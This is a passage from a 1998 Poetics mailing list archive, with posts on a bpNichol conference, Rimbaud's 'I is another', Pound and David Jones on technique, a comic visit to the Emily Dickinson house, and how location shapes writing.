> discoveries otherwise not-detectable seems to me a very American, very
> pragmatic take on how or why one writes.
>
> So as far as this history goes, Pound is on Henry's side; Williams etc
> aligns with Dewey etc.
>
> Don Wellman
>

↑ Index

315. Poetics List
bpNichol Conference, Program (fwd)
Thu 13 Aug 1998

On the Horizon: bpNichol After Ten
Tentative Program, as of 10 August
September 25-26, Emily Carr College of Art and Design
Room 328, 1400 Johnson Street
Granville Island, Vancouver

Friday, September 25
6:00 - 7:00 p.m. Registration
Music by Susan McMaster, poems for bp on CD
Installations by derek A. beaulieu (displayed throughout the conference)

7:00 - 8:00 p.m. "bp: pushing the boundaries," a film by Brian Nash

8:00 - 11:00 p.m. Readings and performances (Readers will include Lillian Allen, and Darren Wershler-Henry)

*

Saturday, September 26
9:30 a.m. Registration

10:00 a.m. - 12:00p.m. Introductions
Panel 1: Frank Davey, Daphne Marlatt, Fred Wah, Irene Niechoda (moderator)

12:00 - 1:00 p.m. Lunch

1:00 - 1:30 p.m. Stan Bevington, Coach House Books, "printing bpNichol"

1:30 - 3:30 p.m. Panel 2: Clint Burnham, Ashok Mathur, Peter Jaeger, Marie Annharte Baker

3:30 - 3:45 p.m. Coffee break

3:45 -6:00 p.m. Panel 3: Brian Dedora, Steven Ross Smith, Carl Peters, Steve McCaffery
Respondent to the day: Sharon Thesen

6:00 - 8:00 p.m. Dinner

8:00 - 10:30 p.m. Gala reading (readers TBA)

Ticket prices: $5 single evening; $10 two day pass
For more information or to register, contact Jacqueline Larson, West Coast Line, [redacted]; email [redacted]

NOTE: RELATED EVENT!!
24 September, SFU campus, a celebration of "bpNichol Day"
Special Collectsion, 7th Floor, W.A.C. Bennett Library
1:30 - 3:30 p.m. -
Display of publications and manuscripts from the Nichol papers -
Readings by Steve McCaffery and Darren Wershler-Henry -
Ellie Nichol in attendance

↑ Index

316. **Michael Magee**
Re: Reading In Providence
Thu 13 Aug 1998

Hi, just curious whether the tuesday night reading series is still happening every tuesday - thinking of coming by this week, having recently moved to Pawtucket. Thanks. -Mike.

↑ Index

317. **Michael Magee**
Re: Reading In Providence
Thu 13 Aug 1998

Whoops - ignore this, meant to backchannel. -m.

According to Michael Magee:
>
> Hi, just curious whether the tuesday night reading series is still
> happening every tuesday - thinking of coming by this week, having
> recently moved to Pawtucket. Thanks. -Mike.
>

↑ Index

318. **Jordan Davis**
<to enter blind carbon>
Thu 13 Aug 1998

Todd --

Why get rid of the "self", even only from these discussions? It sounds so retro, so Lukacs, I mean, _maybe_ ..... maybe get rid of selfish poetics? or elfin poetics, shellfish ...

but you gotta remember, what Charlie B. said was that it was a mistake to posit the self as the basis for a poetics, he didn't _exclude_ it, not that _Content's Dream_ is _scripture_ ..... or papal bull ..... no matter what the inarticulate and unreasonable forces of journalism might say, to argue for the interchangeability of selves is .. on the one hand, beautiful, on the other, deadly so

so anyway, as I say, Todd, I'm saying it to you, Todd,
signed, Jordan

↑ Index

319. Charles Alexander
Re: <to enter blind carbon>
Thu 13 Aug 1998

At 10:48 AM 8/13/98 -0400, you wrote:
>Todd --
>
>Why get rid of the "self", even only from these discussions? It sounds so
>retro, so Lukacs, I mean, _maybe_ ..... maybe get rid of selfish poetics?
>or elfin poetics, shellfish ...

Todd didn't suggest getting rid of the "self" from such discussions. Here's what he said, precisely:

"we need to rid the 'self' from such discussion of poetics--"

which as I read it, suggests that we need to get rid of such discussion of poetics, or at least banish such discussion from the "self." which I took as a more interesting suggestion.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

320. Joseph Conte
DLB 193 and its contents
Thu 13 Aug 1998

Thanks to Bob Archambeau (whose fine article on former Buffalo doctoral candidate Michael Anania appears in DLB 193) for posting the table of contents for this volume, copies of which have just arrived at the homes and offices of its various contributors, several of whom are listmembers.

One correction to Bob's list of essays, while Steve Evans did write an excellent piece on Bob Perelman for the volume, the essay on Stanley Plumly was written by Plumly's colleague at Columbia, SC, Ron Baughman.

I'll take some credit for reversing the trend in earlier volumes on American poetry toward the New Formalism and other creations of the creative writing programs around the country. But I'd like to note that contact with many of the contributors through this list was instrumental in arranging, gathering, and recruiting (the hardest part of editing these volumes) the range of articles on progressive, experimental writing.

It's true that the earlier volumes, v. 165 & v. 169, are available through Amazon.com at about $150. Contributors can get a 40% discount on sales of the volume. It's obviously targeted by Gale Research Press for sale as a reference volume to research, university, school, and public libraries. So it's widely available, or will be in a short while. And the 81/2 x 11 in. pages are easily photocopied.

Thanks again to all the contributors--and subjects of entries--who are on Poetics.

Joseph Conte

========== Joseph M. Conte
[redacted] x1009 Associate Professor and FAX: [redacted] Director of Graduate Studies

Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610

http://www.acsu.buffalo.edu/~jconte/
==========

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321. **R.Gancie/C.Parcelli**
Re: Pound, techne, Jones, Heidegger
Thu 13 Aug 1998

---

hen wrote:
>
> On Wed, 12 Aug 1998 15:50:44 -0500 MAYHEW said:
> >Is there sort of a techno-poetics specific to American poetry of which
> >Pound is the founder, an emphasis on the invention of new literary
> >techniques? While there are avant-gardes everywhere I don't find this same
> >obsession with techne per se in other modern traditions, to the same
> >extent at least. Someone can correct me if I'm wrong on this. This is
> >what Bly was trying to say back in the 50s and 60s. (not that I agree
> >with HIM)
> >
> >Jones, as described by H. Gould, seems vaguely Heideggerian (if that is
> >not a redundancy). The Heideggerian approach would seem to distrust
> >technique for at least two reasons--because technique seems somehow

> >inessential to what poetry is really about, and because technique is
> >related to technology, seeing the world as somehow raw material waiting
> >for us to instrumentalize it. Am I on the right track here or am I missing
> >the point?
>
> You're not off the point but it gets complicated. From the little I've read of
> Jones so far it does seem he could fall into a sort of reactionary dualistic
> thinking along the lines of CP Snow, emphasizing the wide gap between science
> and art, technology and culture. But it's complicated; his father & grandfathe
> r I think were both craft workers in the London dockyards; his poetry his
> FILLED with images of techne, making, etc.; he had an anthropological concept
> of "man" the maker, claiming that "the Christian religion could not exist
> without artefacture" (the bread & wine were not simply things of nature but
> were "made" things).
>
> Jones's fear of the sameness of industrializing technology is related to
> his "Welsh" consciousness, the identification with a threatened local
> culture, and perhaps this fear blinded him to the creative-theoretical
> (non instrumental) aspects of science. But he made up for it with a
> highly organized christological aesthetics: the universe is itself a
> "work of art", a "making"; the sacraments unite humanity with the
> divine form at the crux of that making; art which remains true to itself
> (the orbit of free & beautiful "making") is a sign of that larger whole;
> and so on. Jones's own poetry is highly technical & experimental -
> but he distinguished between all the functional arts (from agriculture to
> war) & the fine arts, which are strictly "useless", being devoted to
> beauty-as-it-is. (Not without acknowledging the beauty of the functional
> as a basis & inspiration of the fine arts.) If you read some of his essays &
> poetry you notice his awareness of a great deal of "useless beauty" not
> only in art itself but in life in general, everywhere. The link between
> the two is what he saw threatened by mere functionalism, utilitarianism,
> standardisation, etc.
>
> I don't want to juxtapose Pound & Jones; you can find these
> affinities & contrasts just about anywhere. Perhaps Jones didn't
> emphasize the "instrumentalities" of technique as much as Pound did
> because he was actually more derivative, & borrowed a lot from Pound
> himself. But you won't find Jones talking about the culture-changing
> possibilities of the variable foot or the breath-line or the materiality

> of the signifier or breaking the pentameter etc. etc. He had a different,
> perhaps deeper sense of craft, possibly because he was a skilled painter
> as well as a poet. All the techne goes for naught if the "form" of the
> artwork gives no "sign" - and he understands this in a kind of strict,
> Jesuitical, almost military sense, derived partly from Joyce & Aquinas.
> & the "signs" are coterminous & continuous with the miraculous & incarnational
> formal "sign-substance" of reality itself... - Henry Gould
Unfortunately for Henry's argument the "creative-theoretical (non-instrumental) aspects of science" (whatever this phrase might mean) are MORE dependent on notions of "sameness" e.g mathematical formalization, quantification, reduction etc.) than their assembly line fruits. A limited number of mathematically expressable characteristics or properties circumcribes the being of the object. This approaches Heidegger's view, in small part, on science and technology. Sameness at the level of experiment and communication is mandatory and anomolies are ignored, suppressed and/or elided unless they overwhelm through their own process of formalization the existing (dare I use the word) paradigm. This notion of formal constituents did escape Jones and is related to his ideas concerning social hierarchies. ---Carlo Parcelli

↑ Index

322. Al Filreis
Gerd Stern/Seven Stray Cats
Thu 13 Aug 1998

I'm keen to know more about the word of Gerd Stern and the poem-performance group, "Seven Stray Cats"--especially in the period of the late 50s/early 60s? What leads can anyone give me?

Al Filreis
University of Pennsylvania

↑ Index

323. david bromige
je est un autre
Thu 13 Aug 1998

I always understood that as saying that by the time your poem is being read, someone else is inhabiting the space of your written "I". That the poet's written "I" is a construct that must make room for another.

And I also thought it meant that who-one-is. is as strange as anything else writing touches upon. And also, "to you, I am a you." And then . . .

"Because I would not stop for Death" .. .is a composite of ED(whatever one discovers or conjectures concerning her), oneself (or "one's elf" as amusingly put by parties to this discussion), the condition of being an I (which is not comnpletely an historical determination, that is, we are species AND we are new), as another New Englander has it, "As soon as/I speak, I/speaks."

A rider : the other day, a friend defined _I love you_ as "I would die for you." Otherwise, it shouldn't be said, he said. !! I'm intrigued how this attaches to "I is an other."

Perhaps Rimbaud was feeling the Otherness of language, too. That one is othered by language, even as one is created of it. One goes to speak but--the words are already in the way. "I can feel my eye/breaking." But then there's Whitman's sense of I, "I am there with you in your kayak"--of which Lawrence makes such hay in _Studies in Classical American Literature_ .

However all this may/not be (for you or for me), the poetic act is the apparently ungrammatical "est" in lieu of "suis," the separation that prevents the knee-jerk assumption of what must always follow "je". It's a fissure thru which l/sp/eak volumes. It's the necessary act of transgression that stops habit and opens thought, it's the poetic. David

↑ Index

324. David W. McFadden
Re: <to enter blind carbon>
Thu 13 Aug 1998

[redacted] writes:
>yup! again--"I" is another ... (Rimbaud)
"Anyone, provided that he can be amusing, has the right to talk about himself" (Baudelaire).
dwm

↑ Index

325. David W. McFadden
Re: je est un autre
Thu 13 Aug 1998

[redacted] writes:
>Perhaps Rimbaud was feeling the Otherness of language, too.
Perhaps he was saying it's okay to talk about the self if the self is seen as another.
dwm

↑ Index

326. **daniel bouchard**

whose emily d?

Thu 13 Aug 1998

I spent four years in Amherst and never once went to the "Homestead." The Homestead is the homey name tagged onto a brass plaque sign in front of The Emily Dickinson House. It's on Main Street. I lived a stone's throw (the best form of anecdotal measurement) west on North Pleasant Street. On the opposite side of the Homestead is Bart's Pizza. It's ok but not spectacular and my friends and I patronized it mainly because it was on Main Street and the delivery time was relatively quick. Up the street, indeed uphill, from the Homestead, is the new police station, Amherst College, and the center of town (Amherst).

I don't believe any of what I am saying is mentioned in the Susan Howe book. This is obviously a political issue, and I will be heard.

There is a tourist shop in the garage of the Emily Dickinson House. There are books for sale, postcards, booklets, chapbooks, book mementos, photographs, and key-chains with heavy books on them. I bought three postcards and didn't send them to anyone.

Down the street from the Emily Dickinson House is a house of no distinction save the fact that my friend Jack lived there one semester. One night Jack and his friends had a great party where everyone got really drunk and stoned. We danced and sang, just like in the Amherst of Emily Dickinson's time. Then Jack got completely naked and began running around the house. It was springtime I think.

When the cops showed up they entered without knocking and shot the stereo. No, wait, come to think of it they did not shoot the stereo but they did ask one of us to turn it down. I then began an endless, meaningless, and stupid cascade of verbal abuse directed at the law officers which was filled with forgettable things but said quite loudly. On a certain cue, like a trained pet, I clammed up. The cue was: "if you don't shut the fuck up, we're going to arrest you." This proved to me that the State is superior in psychological warfare. I was too weak to resist. It was at that point that Jack ran into the house, naked as a bluejay.

On the walk to the new police station (to retrieve Jack) we passed the Emily Dickinson House. It was closed.

The tour of the Homestead begins in the garden. The guide, a middle-aged woman with an English accent and librarian glasses, spoke with touching fondness about what Emily grew, where Emily walked, what Emily's niece had to say about it, and where the barn stood. Apparently, no structure had ever stood in this portion of Homestead land. In the distance, a man was exiting the parlor known as Bart's.

If you think the single surviving photograph of Emily Dickinson is pretty dry and unrevealing, then her house is a crusty supplement indeed to the photograph. The house has been restored well enough (an Evangelical pastor with a family of 8 once lived there and they installed four bathrooms) and we even got to see the narrow steps where Emily sat while her "guests" played the piano for her but didn't get to meet her. There was a bit of freakishness about the house, about Emily herself, that was charming. We saw China. The china was a wedding gift to Emily's parents.

Here is something of note: there is a Seth Thomas clock in Emily's bedroom. You may recall that Charles Olson's dad wound a Seth Thomas clock in his drawers in the living room every day except the 30th of each month.

Emily's original bed has kept quite well over the years. It's a sleigh bed.

The tour guide tells us that Emily asked that all her letters be burned upon her death. And her poems too I say. No, the guide says, just the letters. Well, I'm not going to argue with you I say, but you're completely wrong, a sham and travesty to the National Park system. She clenches her fists. Her eyes flare in anger. I make a fart sound with my lips but she has already succeeded in undermining my confidence. Susan Howe, where are you?

After a spell, some wandering, reading of placards but no taking of pictures, we leave the house. It's a quite nice Federal style house. Next door, the home of Emily's brother is being restored. It looks like the mansion from The Addams Family. It was occupied by the Dickinson family until 1987, the year I came to Amherst.

As my companion and I walk toward town and past the now-not-quite-as-new police station, we are diverted by some new public art. Two silhouettes atop two large rocks and facing each other and making hand gestures, as if speaking to each other. One silhouette is Emily Dickinson. Beside her is a plaque explaining that Emily was a poet, lived a stone's throw from the big stone her shadow now sits upon, and a poem is reprinted too. The opposite figure? If you guessed Robert Frost, there is a future in public art awaiting you. He too is gesturing beside the plaque which explains him, his life, his time in Amherst, his kooky relationship to words, etc.

My companion snaps pictures. She's from California. And I, I turn to the police station, toward the west, where the course of empire went.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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327. david bromige
gerd stern
Thu 13 Aug 1998

At first I thought to b-c this to Al Filreis, but decided it may be of interest more generally. There was an article some years since, in _West Coast Line_, which comes from Simon Fraser U in Vancouver (Burnaby, to be exact), making use of archived materials having to do with _Northwest Review_ and _Coyote's Journal_ and which I recall referred to Stern's showing of his film "Y"(? "Stop Sign"?) at U of O in Eugene in 62 or 63. This was a showing I attended, and thus may be mixing up the article I allude to, with my own experience: apologies if so.

Gerd Stern was a wild-man, mad-artist "beat" from SFran, & his art was far out to some of us then, heavily edited to keep the eye quick, and as part of its "epater le bourgeois" address. I think portions of human anatomy not usually seen in movies (back then) were in the film and caused some scandal. This may have prepared Oregonian conservative hearts and minds to turn into a ton of bricks a year or so later when an issue of NWR was declared blasphemous, obscene and treasonable, by powers-that-were, & got the editorial staff (of which I'd been a member), canned.

This period is increasingly interesting to me--where the 50s and the 60s meet in teeter-totter fashion--and I hope this note, though fragmentary, will bring further testimony. As to the Seven Stray Cats, of them I recall nothing. Anyone got a dish of cream re them? David

↑ Index

328. Laura E. Wright
Re: je est un autre
Thu 13 Aug 1998

My word-processing spell check translates "je" as "Joe." I propose we adopt joe as the universal pronoun.

--
Laura Wright
Library Assistant

Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

* * * * * *

"All music is music..." -- Ted Berrigan

* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

329. **david bromige**

joe est un autre

Thu 13 Aug 1998

JOE EST UN AUTRE, THIS I KNOW
(for Laura Wright)

Joe est un autre, believe you me!
A dude more autre there couldn't be.
He thinks so un- & -like the rest,
And anything that you suggest
He may do opposite. O, he's perverse
But what strikes all as even worse,
He has bits missing from his brain.
He says that Portugal's in Spain,
That Spain's in pain, that pain's delight,
That black is white, that day is night,
That night is a lacustrine city,
That he uses words because they're pretty,
Not to be accurate : if this cause woe,
He says So what, those are the breaks.
Yours truly, Joe

↑ Index

330. **Jim McCrary**

Re: joe est un autre

Thu 13 Aug 1998

---

laura & david....thanks for clearing THAT up...always thought it was Gene est un autre. mccrary

↑ Index

331. Michael Magee
Mullen interview
Thu 13 Aug 1998

Howdy folks, just thought I'd mention that the long interview (2 hrs, & in my copy 30 single spaced pages) which Farah Griffin, Kristen Gallagher and I did w/ Harryette Mullen is now up on the Mullen page at the EPC website. Mullen ranges all over the place and is always fascinating. For those of you who liked the 16 pg excerpt of this interview in COMBO 1 I'd say its a must. -m.

↑ Index

332. Joe Brennan
Re: je est un autre
Thu 13 Aug 1998

In a message dated 8/13/98 1:51:15 PM Eastern Daylight Time, [redacted] writes:

<<
 My word-processing spell check translates "je" as "Joe." I propose we adopt joe as the universal pronoun.
 >>

I thought it already was.

joe

↑ Index

333. Roger Farr
Chance Operations
Thu 13 Aug 1998

Can anybody suggest or comment on good (esp. free) computer programs useful for chance operation poetry. I'm aware of some anagram generators, and the Dada Engine, but that's about it.

Cheers,

Roger Farr
[redacted]

↑ Index

334. David Kellogg
Bob est un autre
Thu 13 Aug 1998

On Thu, 13 Aug 1998, Joe Brennan wrote:
>
> In a message dated 8/13/98 1:51:15 PM Eastern Daylight Time, [redacted]
> writes:
>
> <<
> My word-processing spell check translates "je" as "Joe." I propose we adopt
> joe as the universal pronoun.
> >>
>
> I thought it already was.

No joe, that would be "Bob."

As Agent Cooper once asked, "Where does Bob come from?"

Answers: (1) That cannot be revealed.
(2) Maybe Bob is just the name we give to the evil we do.

Cheers,
David
~~~
~~~

etc has done . Poetry still comes with a knot tied in it--for readers--that this is a reading of the poet's "self". Burroughs said that painting had (1950) far surpassed writing--and I'm always still very much with that thot in mind.

it's not deadly to try and remove the self from a discussion of poetry. As I've said--(it was me) if I want to know something of the poet's elf--we can do that over coffee--if I want a poem--I'll read!

TB
(ReMap)

↑ Index

336. toddbaron
Re: <to enter blind carbon>
Thu 13 Aug 1998

Charles Alexander wrote:
>
> At 10:48 AM 8/13/98 -0400, you wrote:
> >Todd --
> >
> >Why get rid of the "self", even only from these discussions? It sounds so
> >retro, so Lukacs, I mean, _maybe_ ..... maybe get rid of selfish poetics?
> >or elfin poetics, shellfish ...
>
> Todd didn't suggest getting rid of the "self" from such discussions. Here's
> what he said, precisely:
>
> "we need to rid the 'self' from such discussion of poetics--"
>
> which as I read it, suggests that we need to get rid of such discussion of
> poetics, or at least banish such discussion from the "self." which I took
> as a more interesting suggestion.
>
> charles
>
> charles alexander :: poet and book artist :: [redacted]
> chax press :: alexander writing/design/publishing
> books by artists' hands :: web sites built with care and vision
> http://alexwritdespub.com/chax :: http://alexwritdespub.com

yup! again--"I" is another ... (Rimbaud)

TB

↑ Index

337. MAYHEW
Mayhem,Headgear, sartorial
Thu 13 Aug 1998

I ran through my spell checker an article I just wrote, it suggested I change Mayhew to mayhem (I should have seen that one coming), Heidegger to head-gear, Sartre to Sartorial.

When we got back from Spain, my 3 year old daughter asked me "where did the hotel go?" I told her it was in Spain. The next day I asked her where the hotel was and she said "in the pain," thus anticipating David B' line "Spain is in the pain."

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

338. Safdie Joseph
Re: Joe am another
Thu 13 Aug 1998

> In a message dated 8/13/98 1:51:15 PM Eastern Daylight Time, [redacted]
> writes:
> <<
> My word-processing spell check translates "je" as "Joe." I propose we adopt
> joe as the universal pronoun.
>
> I thought it already was.

No joe, that would be "Bob."

As Agent Cooper once asked, "Where does Bob come from?"

Answers: (1) That cannot be revealed.
(2) Maybe Bob is just the name we give to the evil we do.

Joe's assertion isn't negated by this information -- all it means is that evil isn't universal . . . (which will come as a great relief to the more theologically minded among us).

Nice little ditty that David cooked up there! I read it as homage . . . people don't realize the tough time we universalists have . . .

Joe (almost finished with _Radical Artifice_) Safdie

↑ Index

339. **Mark Weiss**
Re: whose emily d?
Thu 13 Aug 1998

Do they have the famous dining room table that sheltered the trysts of Mary Loomis Todd and Emily's brother? Did the docent mention any of that?

At 01:47 PM 8/13/98 -0400, you wrote:
>I spent four years in Amherst and never once went to the "Homestead." The
>Homestead is the homey name tagged onto a brass plaque sign in front of The
>Emily Dickinson House. It's on Main Street. I lived a stone's throw (the
>best form of anecdotal measurement) west on North Pleasant Street. On the
>opposite side of the Homestead is Bart's Pizza. It's ok but not spectacular
>and my friends and I patronized it mainly because it was on Main Street and
>the delivery time was relatively quick. Up the street, indeed uphill, from
>the Homestead, is the new police station, Amherst College, and the center of
>town (Amherst).
>
>I don't believe any of what I am saying is mentioned in the Susan Howe book.
>This is obviously a political issue, and I will be heard.
>
>There is a tourist shop in the garage of the Emily Dickinson House. There
>are books for sale, postcards, booklets, chapbooks, book mementos,
>photographs, and key-chains with heavy books on them. I bought three
>postcards and didn't send them to anyone.
>
>Down the street from the Emily Dickinson House is a house of no distinction
>save the fact that my friend Jack lived there one semester. One night Jack
>and his friends had a great party where everyone got really drunk and
>stoned. We danced and sang, just like in the Amherst of Emily Dickinson's
>time. Then Jack got completely naked and began running around the house. It
>was springtime I think.
>
>When the cops showed up they entered without knocking and shot the stereo.

>No, wait, come to think of it they did not shoot the stereo but they did ask
>one of us to turn it down. I then began an endless, meaningless, and stupid
>cascade of verbal abuse directed at the law officers which was filled with
>forgettable things but said quite loudly. On a certain cue, like a trained
>pet, I clammed up. The cue was: "if you don't shut the fuck up, we're going
>to arrest you." This proved to me that the State is superior in
>psychological warfare. I was too weak to resist. It was at that point that
>Jack ran into the house, naked as a bluejay.
>
>On the walk to the new police station (to retrieve Jack) we passed the Emily
>Dickinson House. It was closed.
>
>The tour of the Homestead begins in the garden. The guide, a middle-aged
>woman with an English accent and librarian glasses, spoke with touching
>fondness about what Emily grew, where Emily walked, what Emily's niece had
>to say about it, and where the barn stood. Apparently, no structure had ever
>stood in this portion of Homestead land. In the distance, a man was exiting
>the parlor known as Bart's.
>
>If you think the single surviving photograph of Emily Dickinson is pretty
>dry and unrevealing, then her house is a crusty supplement indeed to the
>photograph. The house has been restored well enough (an Evangelical pastor
>with a family of 8 once lived there and they installed four bathrooms) and
>we even got to see the narrow steps where Emily sat while her "guests"
>played the piano for her but didn't get to meet her. There was a bit of
>freakishness about the house, about Emily herself, that was charming. We saw
>China. The china was a wedding gift to Emily's parents.
>
>Here is something of note: there is a Seth Thomas clock in Emily's bedroom.
>You may recall that Charles Olson's dad wound a Seth Thomas clock in his
>drawers in the living room every day except the 30th of each month.
>
>Emily's original bed has kept quite well over the years. It's a sleigh bed.
>
>The tour guide tells us that Emily asked that all her letters be burned upon
>her death. And her poems too I say. No, the guide says, just the letters.
>Well, I'm not going to argue with you I say, but you're completely wrong, a
>sham and travesty to the National Park system. She clenches her fists. Her
>eyes flare in anger. I make a fart sound with my lips but she has already
>succeeded in undermining my confidence. Susan Howe, where are you?
>
>After a spell, some wandering, reading of placards but no taking of

>pictures, we leave the house. It's a quite nice Federal style house. Next
>door, the home of Emily's brother is being restored. It looks like the
>mansion from The Addams Family. It was occupied by the Dickinson family
>until 1987, the year I came to Amherst.
>
>As my companion and I walk toward town and past the now-not-quite-as-new
>police station, we are diverted by some new public art. Two silhouettes atop
>two large rocks and facing each other and making hand gestures, as if
>speaking to each other. One silhouette is Emily Dickinson. Beside her is a
>plaque explaining that Emily was a poet, lived a stone's throw from the big
>stone her shadow now sits upon, and a poem is reprinted too. The opposite
>figure? If you guessed Robert Frost, there is a future in public art
>awaiting you. He too is gesturing beside the plaque which explains him, his
>life, his time in Amherst, his kooky relationship to words, etc.
>
>My companion snaps pictures. She's from California. And I, I turn to the
>police station, toward the west, where the course of empire went.
>
>
><<<<<<>>>>>>>>>>>>>>>>
>Daniel Bouchard
>The MIT Press Journals
>Five Cambridge Center
>Cambridge, MA 02142
>
>[redacted]
>phone: [redacted]
> fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<
>
>

↑ Index

340. **k.a. hehir**
Wild Things Call for Submissions
Thu 13 Aug 1998

---

can't remember if i forwarded this already or not. if yes then sorry, i appollogize for the redundancy again.
still,
kievn

A Call for "Wild Things"
>
> In conjunction with "On the H Orizon: bpNichol After Ten"
> An event sponsored by West Coast Line
> Emily Carr Institute of Art and Design
> Granville Island, Vancouver BC
> September 25-26, 1998

For more information contact:
> Glen Lowry, "Wild Things" Co-ordinator email: [redacted]
>
> For information on "On the H Orizon" contact:
> Jacqueline Larson, Managing Editor, West Coast Line, email:
> [redacted]
> phone: 604 - [redacted]
>

As a tribute to bpNichol's enormous contribution to small press publishing, "On the H Orizon: bpNichol After Ten" is putting a call out for publishers and writers to produce what we're calling "Wild Things" (after the title of bp's work in bp, published by Coach House in 1967).

In the spirit of bp's work with small presses & small press networks, we're inviting submissions of chapbooks or ephemeral publications, which we can distribute as part of the event.

SOME GUIDELINES:

**All kinds and forms of text are welcome.*

**Publishers: choose a writer whose work extends a bp poetics; writers: produce something of your own in tribute to bp.*

**Print run: 25 copies, lettered A-Z (excluding H).*

**Optional: designate the text somewhere as "An H Project."*

**West Coast Line will sell them at the conference at $5 each (50% to the publisher, 50% for the conference costs). All unsold copies will be returned.*

DEADLINES: Please contact Glen Lowry with intent to contribute ASAP. In order to qualify for inclusion, Wild Things must be received by September 18th.

For more information contact:

> *Glen Lowry, "Wild Things" Co-ordinator email:* [redacted]
>
> *For information on "On the H Orizon" contact:*
> *Jacqueline Larson, Managing Editor, West Coast Line, email:*
> [redacted]
> *phone: 604 -* [redacted]
>
> *"Wild Things" is designated by West Coast Line as "An H Project" in honour of bpNichol*

↑ Index

341. **toddbaron**
Re: je est un autre
Thu 13 Aug 1998

---

david bromige wrote:
>
> I always understood that as saying that by the time your poem is being
> read, someone else is inhabiting the space of your written "I". That the
> poet's written "I" is a construct that must make room for another.
>
> And I also thought it meant that who-one-is. is as strange as anything else
> writing touches upon. And also, "to you, I am a you." And then . . .
>
> "Because I would not stop for Death" .. .is a composite of ED(whatever one
> discovers or conjectures concerning her), oneself (or "one's elf" as
> amusingly put by parties to this discussion), the condition of being an I
> (which is not comnpletely an historical determination, that is, we are
> species AND we are new), as another New Englander has it, "As soon as/I
> speak, I/speaks."
>
> A rider : the other day, a friend defined _I love you_ as "I would die for
> you." Otherwise, it shouldn't be said, he said. !! I'm intrigued how this
> attaches to "I is an other."
>
> Perhaps Rimbaud was feeling the Otherness of language, too. That one is
> othered by language, even as one is created of it. One goes to speak
> but--the words are already in the way. "I can feel my eye/breaking." But
> then there's Whitman's sense of I, "I am there with you in your kayak"--of
> which Lawrence makes such hay in _Studies in Classical American Litera-
ture_

> .
>
> However all this may/not be (for you or for me), the poetic act is the
> apparently ungrammatical "est" in lieu of "suis," the separation that
> prevents the knee-jerk assumption of what must always follow "je". It's a
> fissure thru which l/sp/eak volumes. It's the necessary act of
> transgression that stops habit and opens thought, it's the poetic. David

yes--and the poetic is the tension/between.

Todd

↑ Index

342. **toddbaron**
Re: <to enter blind carbon>
Thu 13 Aug 1998

David W. McFadden wrote:
>
> [redacted] writes:
> >yup! again--"I" is another ... (Rimbaud)
> "Anyone, provided that he can be amusing, has the right to talk about
> himself" (Baudelaire).
> dwm

"either this wallpaper goes or I do....."

Wilde.

You'd better be damned amusing
to speak of yourself!

↑ Index

343. **George Bowering**
Re: Al Filreis
Thu 13 Aug 1998

What is going on here?

For years there has been a fake name in my address book (for reasons I wont reveal), : Al Fileres.

What's happening?

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

344. **Tom Beard**
Re: location location location
Fri 14 Aug 1998

> *a question posed to the group:*
>
> *how does "location" (the "local" --Olson)*
> *affect or help affect yr writing?*

It's been very important to me. The only long sequence (and I mean long both in terms of # of lines and the time over which it was/is being written) that I have attempted has the idea of location at its core. I wonder whether this is a tendency that others have noticed: my sequence (Urban Songs) evolved as a response or reaction to sequences by Olson, James K. Baxter, Leigh Davis and Dinah Hawken, all of which have a strong sense of engaging with location.

I started Urban Songs not so much to write _about_ my location, but with the hope that all of its concerns (ambition, desire, poetics, technology, friendship) would inevitably be _of_ my location. And the location of the sequence is somewhat fluid: I moved from Wellington to Auckland and back while writing it, so the location represents a superimposition of these two cities upon "the idea of the city".

In New Zealand, the idea of location has been central to the arts for much of this century, with "location" being equated with "landscape". But the last few decades have seen this equation breaking down, and I've been interested in the way that "location" (and "home") is now seen as being inscribed by culture; by economic, electronic, emotional and intellectual networks. I've lived in about six flats since I started the sequence, but there is a sense in which the poem's location remains constant. Of course, factors such as geography, climate and history leave unavoidable traces on the poems, but not to the extent that they do in the Maximus poems.

Perhaps the centrality of location in one's work is related to one's sense of that location's otherness. Mid-century pakeha poets were obsessed with their location because it was so distant from Europe, that being the centre of the universe at the time. I imagine that many have consciously set out to write about the "ordinariness" of where they live, but the idea of location as a poetic concern might be more likely to occur to someone who is aware that their home is different from the norm.

Tom Beard.

↑ Index

345. **Tosh**
Re: location location location
Fri 14 Aug 1998

Overall it doesn't matter to the reader, but for the writer, well, that's another matter. My best writing place is in the tub - of course writing by hand. After the soak, I use the computer to jazz up the rhymes and limes, and then I leave for another country. Japan is good, because there you can write about the four seasons. I like the Fall, because it is full of regret,and the spring is good too for promise. Of course then comes the dreaded winter - and that becomes - as we know - deadly. Summer I guess is for vacation - therefore useless for poetry! Yes, one can imagine me writing a poem in a cheap sake bar somewhere in Fukuoka - and damn it, it is that damn poet from NYC who made some deals with the yakuza - that Alan guy. He comes in and says: Why don't you join the FOP list? And I have, and now I am famous in front of billions, and they want more of my poems, my wit, my seasons (except for Summer, which you know...), and at last I can lay my head on the pillow and think of someone else's love.... which of course leads to another poem, story, or at least someone else's list.

In other words, Mr Baron,
ciao,
tb

Tosh Berman
TamTam Books

↑ Index

346. **toddbaron**
location location location
Fri 14 Aug 1998

---

a question posed to the group:

how does "location" (the "local" --Olson)
affect or help affect yr writing?

Todd Baron
(ReMap)

?
?
?

↑ Index

347. **Michael Magee**
Re: location location location
Fri 14 Aug 1998

For me "location" ("the local" rings in my ear too much of "local color" etc) is the crucial corrective to whatever mythology of myself I might, at any given moment, be entertaining: b/c it implies constraints and privileges, also the flux of experiences re-situating "me" - and most importantly one's location is where one is always reminded that, to quote Nate Mackey, "not only other things but other *minds* exist." Creeley has this great quote,

